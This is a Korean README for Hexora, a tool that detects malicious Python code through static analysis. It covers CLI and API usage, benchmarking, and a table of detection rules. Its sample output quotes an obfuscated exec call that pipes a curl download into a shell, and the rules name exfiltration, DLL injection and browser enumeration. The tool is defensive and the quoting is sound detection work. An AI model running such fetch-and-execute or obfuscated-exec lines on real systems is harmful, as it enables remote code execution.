
악성 Python 코드의 정적 분석
Hexora는 Python 코드에서 악의적이고 유해한 패턴을 탐지하도록 설계된 정적 분석 도구입니다. 규칙 기반 정적 분석 엔진과 전체 소스 파일을 점수화하여 악성 또는 양성으로 분류하는 기계 학습 모델을 결합합니다.
다음과 같은 용도로 사용할 수 있습니다:
출력 예제는 docs/examples.md 파일을 참조하십시오.
Python 3.9+가 필요합니다.
pip install hexora
uv 사용:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
여기서 python3.11은 가상 환경의 Python 버전입니다.
팁:
--exclude를 사용하여 특정 규칙 코드(예: 잡음이 많은 임포트)를 억제합니다.--min-confidence를 사용하여 신뢰도가 높은 결과에만 집중합니다.신뢰도는 특정 코드 조각이 얼마나 악의적인지를 나타냅니다. 일부 라이브러리나 코드 조각은 합법적인 목적으로 사용되며, 합법적인 사용 사례와 악의적인 사용 사례를 구분하기 어렵습니다. 따라서 일부 매칭은 낮은 신뢰도를 갖습니다.
일부 규칙은 다양한 신뢰도 수준을 가질 수 있습니다. 확실하지 않은 경우 코드로 많은 규칙을 필터링하지 마십시오. 예를 들어, 코드 실행 및 셸 실행은 중간, 높음, 매우 높음 신뢰도를 가질 수 있습니다. 이는 코드가 실행되는 방식에 따라 다릅니다. 난독화 시도를 탐지하면 신뢰도를 높입니다.
예를 들어, 이 코드는 높은 신뢰도를 갖습니다:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # 단일 파일 감사
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
새 규칙을 개발할 때 malicious-software-packages-dataset과 같은 기존 악성 데이터셋을 사용할 수 있습니다.
복제 후 벤치마킹 도구를 데이터셋 디렉터리로 지정합니다:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
새 규칙이 정기적으로 추가됩니다.
현재 사용 가능한 규칙은 다음과 같습니다:
파싱을 위해 ruff 라이브러리의 AST 파서를 사용합니다.
| 코드 | 이름 | 설명 |
|---|
| HX1000 | AppEnumeration | 의심스러운 애플리케이션 열거. |
| HX1010 | BrowserEnumeration | 의심스러운 브라우저 열거 (앱, 쿠키, 히스토리 등). |
| HX1020 | PathEnumeration | 의심스러운 경로 열거. |
| HX1030 | OSFingerprint | 의심스러운 OS 핑거프린팅. |
| HX2000 | ClipboardRead | 클립보드 읽기. |
| HX2010 | EnvAccess | 민감한 환경 변수에 접근. |
| HX2020 | ScreenshotCapture | 디스플레이 스크린샷 캡처. |
| HX3000 | CodeExec | 가능한 코드 실행. |
| HX3010 | ShellExec | 셸 명령 실행. |
| HX3040 | DLLInjection | 가능한 DLL 인젝션. |
| HX3050 | DangerousExec | 셸 명령 내에서 잠재적으로 위험한 명령 실행. |
| HX3060 | SuspiciousCall | 의심스러운 함수 호출. |
| HX4000 | ObfuscatedShellExec | 난독화된 셸 명령 실행 가능. |
| HX4010 | ObfuscatedCodeExec | 난독화된 코드 실행 가능. |
| HX5000 | DunderImport | __import__의 의심스러운 사용. |
| HX5010 | SuspiciousImport | 의심스러운 임포트. |
| HX5020 | CtypesImport | 의심스러운 ctypes 임포트. |
| HX5030 | PickleImport | 의심스러운 pickle 임포트. |
| HX5040 | StructImport | 의심스러운 struct 임포트. |
| HX5050 | SocketImport | 의심스러운 socket 임포트. |
| HX5060 | MarshalImport | 의심스러운 marshal 임포트. |
| HX6000 | Base64String | 긴 Base64 인코딩 문자열 탐지; 가능한 코드 난독화. |
| HX6010 | HexedLiterals | 16진수 인코딩된 리터럴 목록 탐지; 가능한 페이로드. |
| HX6020 | HexedString | 긴 16진수 인코딩 문자열 탐지; 가능한 페이로드. |
| HX6030 | IntLiterals | 큰 정수 리터럴 목록 탐지; 가능한 코드 난독화. |
| HX6040 | CVEInLiteral | 리터럴에 CVE 식별자 포함. |
| HX6050 | SuspiciousLiteral | 의심스러운 리터럴 탐지; 가능한 데이터 열거. |
| HX6060 | PathTraversal | 의심스러운 경로 탐색. |
| HX6070 | BrowserExtension | 민감한 브라우저 확장 프로그램 열거. |
| HX6080 | WebHook | 의심스러운 웹훅 탐지. 가능한 데이터 유출. |
| HX6090 | TelegramToken | 문자열 리터럴에서 텔레그램 봇 토큰 탐지. |
| HX7000 | SuspiciousFunctionName | 의심스러운 함수 이름. |
| HX7010 | SuspiciousParameterName | 의심스러운 매개변수 이름. |
| HX7020 | SuspiciousVariable | 의심스러운 변수 이름. |
| HX9000 | DataExfiltration | 잠재적인 데이터 유출. |
| HX8000 | BinaryDownload | 의심스러운 바이너리 다운로드. |
| HX8010 | BuiltinsVariable | 의심스러운 내장 변수 사용. |
| HX8020 | SuspiciousComment | 의심스러운 주석. |
| HX8030 | SuspiciousWrite | 파일 시스템에 의심스러운 쓰기. |
| HX8040 | InstallHook | 의심스러운 설치 후크 설정. |